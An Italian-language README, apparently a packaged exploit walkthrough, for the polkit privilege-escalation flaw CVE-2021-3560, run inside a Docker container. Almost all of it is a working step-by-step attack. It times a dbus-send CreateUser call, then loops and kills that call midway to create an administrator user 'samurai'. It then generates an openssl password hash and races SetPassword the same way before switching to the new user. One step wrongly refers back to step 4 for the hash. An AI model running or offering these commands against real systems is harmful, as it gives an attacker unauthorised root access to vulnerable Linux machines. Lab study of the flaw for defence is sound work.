CVE-2021-3560-Polkit-Privilege-Escalation

di Mark, Qingchen Yu Per creare il container con

docker build -t <tag immagine a tua scelta> .

Per eseguire il container

docker run -it <nome tag immagine>

1. inizia con start.sh

2. Misura il tempo di esecuzione: Nota il tempo 'real' e calcola la metà.

   root@kitploit:~

   time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
   

3. Crea un utente con privilegi sudo: Sostituisci X.XXX con la metà del tempo 'real' di cui sopra perché vogliamo che il processo venga interrotto a metà. il comando verrà eseguito come un ciclo di 10000 volte. Potresti dover eseguire questo passaggio più volte.

   root@kitploit:~

   for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
   

4. Verifica la creazione dell'utente id samurai Dovrebbe mostrare che l'utente samurai esiste e visualizzare i suoi permessi. Esegui di nuovo il passaggio 2 se non.

5. Genera l'hash della password: in questo caso, la password sarebbe 'iamsamurai' Nota l'hash generato.

   root@kitploit:~

   openssl passwd -5 iamsamurai
   

6. Imposta la password per il nuovo utente: Sostituisci X.XXX con la durata del sleep e Password Hash con l'hash del passaggio 4. Sostituisci UUUU con l'ID utente di 'samurai'.

   root@kitploit:~

   for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
   

7. Passa al nuovo utente con la password creata al passaggio 4. su - samurai

   Ora dovresti essere in grado di usare 'sudo con questo utente'.